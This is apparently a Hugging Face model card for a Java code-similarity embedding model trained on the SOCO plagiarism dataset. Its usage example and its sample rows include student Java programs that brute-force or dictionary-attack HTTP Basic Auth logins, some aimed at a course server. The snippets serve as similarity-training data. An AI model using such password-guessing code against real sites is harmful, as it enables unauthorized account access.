SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity
• Training Dataset:
  • soco_train_java

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n  private String strUserName;\n  private String strURL;\n  private int iAttempts;\n  \n  public BruteForce(String strURL,String strUserName) {\n    this.strURL = strURL;\n    this.strUserName = strUserName;\n    this.iAttempts = 0 ;\n\n  }\n  \n  public String getPassword(){\n      URL u;\n      String result ="";\n      PassGenBrute PG = new PassGenBrute(3);\n      URLConnection uc;\n      String strPassword = new String();\n      String strEncode;\n      try{\n        while (result.compareTo("HTTP/1.1 200 OK")!=0){\n        \n          strEncode = PG.getNewPassword();\n          u = new URL(strURL);\n          uc = u.openConnection();\n          uc.setDoInput(true);\n          uc.setDoOutput(true);\n          strPassword = strEncode;\n          strEncode =  strUserName + ":" + strEncode;\n        \n          strEncode = new String(Base64.encode(strEncode.getBytes()));\n          uc.setRequestProperty("Authorization"," " + strEncode);\n        \n          result = uc.getHeaderField(0);\n          uc = null;\n          u = null;\n          iAttempts++;\n        }\n\n      }\n      catch (Exception me) {\n      System.out.println("MalformedURLException: "+me);\n      }\n      return(strPassword);\n  }\n  \n  public int getAttempts(){\n    return (iAttempts);\n  };\n  \n  public static void main (String arg[]){\n     timeStart = 0;\n     timeEnd = 0;\n    \n    if (arg.length == 2) {\n       BruteForce BF = new BruteForce(arg[0],arg[1]);\n       System.out.println("Processing ... ");\n       timeStart = System.currentTimeMillis();\n       \n       System.out.println("Password = " + BF.getPassword());\n       timeEnd = System.currentTimeMillis();\n       System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n       System.out.println("Total Attempts  = " + BF.getAttempts());\n    }\n    else {\n       System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n    }\n\n  }\n}\n\nclass PassGenBrute {\n  private char[] password;\n  public PassGenBrute(int lenght) {\n    password = new char[lenght];\n    for (int i = 0; i < lenght; i++){\n      password[i] = 65;\n    }\n    password[0]--;\n  }\n  \n  public String getNewPassword()\n    throws PasswordFailureException{\n    password[0]++;\n\n    try {\n      for (int i=0; i<password.length ; i++){\n        if (password[i] == 90) {\n          password[i] = 97;\n        }\n        if (password[i] > 122) {\n          password[i] = 65;\n          password[i+1]++;\n        }\n      }\n    }\n    catch (RuntimeException re){\n      throw new PasswordFailureException ();\n    }\n    return new String(password);\n  }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n  public PasswordFailureException() {\n  }\n}',
    'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n  private String strUserName;\n  private String strURL;\n  private String strDictPath;\n  private int iAttempts;\n\n    \n    public Dictionary(String strURL,String strUserName,String strDictPath) {\n    this.strURL = strURL;\n    this.strUserName = strUserName;\n    this.iAttempts = 0 ;\n    this.strDictPath = strDictPath;\n    }\n  \n\n  public String getPassword(){\n      URL u;\n      String result ="";\n      PassGenDict PG = new PassGenDict(3,strDictPath);\n      URLConnection uc;\n      String strPassword = new String();\n      String strEncode;\n        try{\n        while (result.compareTo("HTTP/1.1 200 OK")!=0){\n      \n          strEncode = PG.getNewPassword();\n          u = new URL(strURL);\n          uc = u.openConnection();\n          uc.setDoInput(true);\n          uc.setDoOutput(true);\n          strPassword = strEncode;\n          strEncode =  strUserName + ":" + strEncode;\n          \n        strEncode = new String(Base64.encode(strEncode.getBytes()));\n          uc.setRequestProperty("Authorization"," " + strEncode);\n            \n      result = uc.getHeaderField(0);\n          uc = null;\n          u = null;\n          iAttempts++;\n        }\n\n      }\n      catch (Exception me) {\n      System.out.println("MalformedURLException: "+me);\n      }\n      return(strPassword);\n  }\n \n   public int getAttempts(){\n    return (iAttempts);\n  };\n  \n  public static void  main(String arg[]){\n     timeStart = 0;\n     timeEnd = 0;\n    \n    if (arg.length == 3) {\n    Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n    System.out.println("Processing ... ");\n    timeStart = System.currentTimeMillis();\n    System.out.println("Password = " + BF.getPassword());\n    timeEnd = System.currentTimeMillis();\n    System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n    System.out.println("Total Attempts  = " + BF.getAttempts());\n    }\n    else {\n       System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n    }\n\n  }\n}\n\n\nclass PassGenDict {\n\n  private char[] password;\n  private String line;\n  int iPassLenght;\n  private BufferedReader inputFile;\n  public PassGenDict(int lenght, String strDictPath) {\n    try{\n      inputFile = new BufferedReader(new FileReader(strDictPath));\n    }\n    catch (Exception e){\n    }\n    iPassLenght = lenght;\n  }\n   \n public String getNewPassword()\n    throws PasswordFailureException{\n    try {\n      {\n        line = inputFile.readLine();\n      }while (line.length() != iPassLenght);\n\n    }\n    catch (Exception e){\n      throw new PasswordFailureException ();\n    }\n    return (line);\n  }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n  public PasswordFailureException() {\n  }\n}',
    'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n  public WatchDog() {\n\n  }\n  public static void main (String args[]) {\n    DataInputStream newin;\n\n    try{\n      System.out.println("ishti");\n\n      System.out.println("Downloading first copy");\n      Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n      String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n      String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n      while(true){\n            Thread.sleep(24*60*60*1000);\n            System.out.println("Downloading new copy");\n            Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n            Thread.sleep(2000);\n            Runtime.getRuntime().exec(cmdDiff);\n            Thread.sleep(2000);\n            newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n            if (newin.readLine() != null){\n               System.out.println("Sending Mail");\n               Runtime.getRuntime().exec(cmdMail);\n               Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n            }\n        }\n\n    }\n    catch(Exception e){\n      e.printStackTrace();\n    }\n\n    }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 38,664 training samples
• Columns: anchor_code, positive_code, and negative_code
• Approximate statistics based on the first 1000 samples:

  	anchor_code	positive_code	negative_code
  type	string	string	string
  details	min: 51 tokensmean: 466.79 tokensmax: 512 tokens	min: 51 tokensmean: 467.59 tokensmax: 512 tokens	min: 51 tokensmean: 455.04 tokensmax: 512 tokens

• Samples:

  anchor_code	positive_code	negative_code
  import java.io.;import java.net.;import java.misc.BASE64Encoder;public class Dictionary{ public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine())...	import java.io.;import java.net.;import java.misc.BASE64Encoder;public class BruteForce{ public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) ...	import java.net.;import java.io.;import java.util.*;public class Dictionary{ private static URL location; private static String user; private BufferedReader input; private static BufferedReader dictionary; private int maxLetters = 3; public Dictionary() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e) ...
  import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } }}	import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } }}	import java.io.;import java.net.;import javax.swing.Timer;import java.awt.event.*;import javax.swing.JOptionPane;public class WatchDog { private static Process pro = null; private static Runtime run = Runtime.getRuntime(); public static void main(String[] args) { String cmd = null; try { cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/"); pro = run.exec(cmd); System.out.println(cmd); } catch (IOException e) { } class Watch implements ActionListener { BufferedReader in = null; String str = null; Socket socket; public void actionPerformed (ActionEvent event) { try { System.out.println("in Watch!"); String cmd = new String(); int ERROR = 1; cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/"); System.out.println(cmd); cmd = new String("diff original.txt new.txt"); pro = run.exec(cmd); System.out.println(cmd); in = new Buf...
  import java.net.; import java.io.; public class BruteForce {private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Error: Correct Format Filename, username e.g<>"); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("The Password of "+args[0]+"is.."+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ...	import java.net.; import java.io.; import java.util.Date; public class Dictionary{private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("...	package java.httputils;import java.io.IOException;import java.net.MalformedURLException;import java.util.ArrayList;import java.util.Iterator;public class RunnableHttpRequest extends Thread{ protected String targetURL = "http://localhost:8080/"; protected int requestCount = 1; protected ArrayList timingList = new ArrayList(); protected HttpRequestClient req; Boolean finished = new Boolean(false); HttpRequestThreadPool pool; public void run() { try { for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++) { try { req = new HttpRequestClient(getTargetURL()); } catch (MalformedURLException e) { e.printStackTrace(); break; } catch (IOException e) { ...

• Loss: MultipleNegativesRankingLoss with these parameters:

  {
      "scale": 20.0,
      "similarity_fct": "cos_sim"
  }
  

Evaluation Dataset

soco_train_java

• Dataset: soco_train_java at 44ca4ff
• Size: 4,296 evaluation samples
• Columns: anchor_code, positive_code, and negative_code
• Approximate statistics based on the first 1000 samples:

  	anchor_code	positive_code	negative_code
  type	string	string	string
  details	min: 51 tokensmean: 465.86 tokensmax: 512 tokens	min: 51 tokensmean: 465.32 tokensmax: 512 tokens	min: 51 tokensmean: 458.73 tokensmax: 512 tokens

• Samples:

  anchor_code	positive_code	negative_code
  import java.util.;import java.io.;public class WatchDog{ public static void main(String args[]) { Runtime rt1 = Runtime.getRuntime(); Process prss1= null; try { prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"); }catch(java.io.IOException e){} MyWatchDogTimer w = new MyWatchDogTimer(); Timer time = new Timer(); time.schedule(w,864000000,864000000); }}	import java.util.;import java.io.;public class MyTimer{ public static void main(String args[]) { Watchdog watch = new Watchdog(); Timer time = new Timer(); time.schedule(watch,864000000,864000000); }}	import java.net.; import java.io.; import java.util.Vector;import java.util.Date;import java.security.; public class Dictionary { public static BufferedReader in; public static void main(String[] args) throws Exception { String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int count=0; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES1000*60; boolean timedOut=false; boolean found=false; Vector dictionary=new Vector(readWords()); System.out.println("Words in dictionary: "+dictionary.size()); while (found==false && timedOut==false && dictionary.elementAt(count)!=null) { Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; } String password = ""; ...
  import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties"); testProps.load(fis); } }}	import java.io.InputStream;import java.util.Properties;import javax.naming.Context;import javax.naming.InitialContext;import javax.rmi.PortableRemoteObject;import javax.sql.DataSource;public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the burteforce Props"); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties"); bruteForceProps.load(fis); } }}	import java.net.;import java.io.;import java.Ostermiller.util.;import java.util.;public class MyClient2 implements Runnable{ private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; ...
  import java.io.;import java.net.;import java.util.*;public class Dictionary{ public static void main (String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { String password=""; int requests=0; try { FileReader fRead = new FileReader("/usr/share/lib/dict/words"); BufferedReader buf = new BufferedReader(fRead); password=buf.readLine(); while (password != null) { if (password.length()<=3) { requests++; if (testPassword(password, startTime, requests)) return password; } password = buf.readLine(); } } catch (IOException ioe) { } return password; } private static boolean testPassword(String password, double startTime, int requests) { try { U...	import java.io.;import java.net.;import java.util.*;public class BruteForce{ public static void main(String args[]) { Calendar cal = Calendar.getInstance(); Date now=cal.getTime(); double startTime = now.getTime(); String password=getPassword(startTime); System.out.println("The password is " + password); } public static String getPassword(double startTime) { char first, second, third; String password=""; int requests=0; for (int i=65; i<123; i++) { requests++; first = (char) i; password = first + ""; if (testPassword(password, startTime, requests)) return password; for (int j=65; j<123; j++) { requests++; second = (char) j; password = first + "" + second; if (testPassword(password, startTime, requests)) return password; for (int k=65; k<123; k++) { requests++; third = (char) k; password = first + "" + second + "" + third; if (test...	import java.misc.BASE64Encoder;import java.misc.BASE64Decoder;import java.io.;import java.net.;import java.util.*;public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println("Error opening dictionary file:\n" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } publ...

• Loss: MultipleNegativesRankingLoss with these parameters:

  {
      "scale": 20.0,
      "similarity_fct": "cos_sim"
  }
  

Training Hyperparameters

Non-Default Hyperparameters

• eval_strategy: steps
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• warmup_ratio: 0.1
• fp16: True
• batch_sampler: no_duplicates

All Hyperparameters

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: steps
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1.0
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.1
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: no_duplicates
• multi_dataset_batch_sampler: proportional

Training Logs

Framework Versions

• Python: 3.11.11
• Sentence Transformers: 4.1.0
• Transformers: 4.52.4
• PyTorch: 2.8.0.dev20250319+cu128
• Accelerate: 1.7.0
• Datasets: 3.6.0
• Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

MultipleNegativesRankingLoss

@misc{henderson2017efficient,
    title={Efficient Natural Language Response Suggestion for Smart Reply},
    author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
    year={2017},
    eprint={1705.00652},
    archivePrefix={arXiv},
    primaryClass={cs.CL}
}